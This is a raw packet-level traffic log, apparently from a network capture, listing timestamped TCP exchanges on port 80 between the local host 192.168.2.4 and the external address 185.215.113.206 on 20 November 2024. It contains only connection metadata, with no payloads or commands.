Nov 20, 2024 12:57:55.382149935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382164001 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.382174015 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.382200956 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.382958889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382970095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382980108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382988930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382998943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382998943 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383008957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383018017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383021116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383024931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383035898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383045912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383054972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383061886 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383064985 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383075953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383078098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383089066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383100033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383099079 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383111000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383116007 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383124113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383152962 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383174896 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383486032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383497000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383526087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383543015 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383553982 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383580923 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.383586884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.383614063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.598442078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598460913 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598474979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598491907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598500967 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598510981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.598511934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598524094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598546982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.598589897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.598742962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598752975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598762035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598771095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598777056 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.598781109 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598793030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.598808050 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.598834991 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599005938 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599019051 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599030018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599045992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599049091 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599062920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599072933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599080086 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599082947 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599093914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599102974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599112988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599123001 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599126101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599133015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599148989 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599167109 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599559069 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599569082 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599577904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599589109 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599611044 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599630117 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599778891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599788904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599797964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599807024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599816084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599819899 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599826097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599838018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599848986 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599852085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599872112 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599889994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599889994 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599900007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599910021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599920034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599929094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599939108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599939108 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599948883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599958897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599963903 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.599967957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599977970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.599991083 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.600012064 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.600841045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600852013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600862026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600871086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600879908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.600879908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600891113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600899935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600908995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600914001 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600919008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600928068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600934982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.600938082 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600949049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600960016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600970030 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.600972891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600980043 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.600986958 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.600991011 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.601020098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.601187944 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601218939 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.601809025 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601819038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601829052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601838112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601846933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601854086 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.601857901 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601869106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601877928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601888895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601891994 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.601901054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601910114 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.601912975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601927042 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601933956 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.601938963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601950884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601953030 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.601962090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601969957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.601974964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601984024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.601993084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602003098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602029085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602605104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602615118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602623940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602646112 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602658987 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602741957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602751970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602761984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602771997 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602775097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602786064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602793932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602797985 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602807045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602816105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602823973 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602828026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602840900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602844000 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602852106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602861881 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602865934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602876902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602888107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602890015 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602899075 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602909088 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.602937937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.602961063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.603687048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603702068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603709936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603718996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603728056 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603738070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603744984 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.603749037 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603759050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603770018 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.603773117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603785038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603792906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.603796005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603807926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603811026 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.603821993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603828907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.603833914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603843927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603853941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603861094 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.603864908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603873968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603883028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603889942 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.603895903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.603910923 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.603939056 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.604521036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604531050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604538918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604548931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604561090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.604562044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604573965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604589939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604598999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.604609013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604619980 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.604628086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604634047 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.604638100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604648113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604652882 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.604659081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604669094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604679108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604686975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.604688883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604701042 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604702950 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.604712963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.604728937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.604747057 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.605573893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605586052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605595112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605602980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605607986 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605617046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605623960 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.605628014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605639935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605648994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605653048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.605659962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605669975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605679035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605681896 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.605690002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605698109 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.605700970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605711937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605715036 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.605722904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605731010 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.605732918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605758905 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.605779886 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.605817080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.605848074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606304884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606314898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606323004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606333017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606337070 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606339931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606353998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606365919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606378078 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606383085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606393099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606399059 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606410980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606415033 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606424093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606435061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606441021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606447935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606460094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606467962 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606470108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606482029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606492043 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606492996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606506109 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606513023 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606519938 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606527090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606530905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606540918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606550932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.606558084 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.606583118 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607289076 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607300043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607310057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607328892 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607331038 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607340097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607350111 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607350111 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607361078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607372046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607377052 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607384920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607394934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607403994 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607405901 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607417107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607423067 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607425928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607438087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607460976 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607847929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607861996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607873917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607883930 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607891083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607901096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607908010 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607911110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607922077 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607933044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607939959 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607944012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607954979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607955933 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607964993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607975960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.607983112 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.607985973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608001947 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608007908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608012915 CET	80	49756	185.215.113.206	192.168.2.4
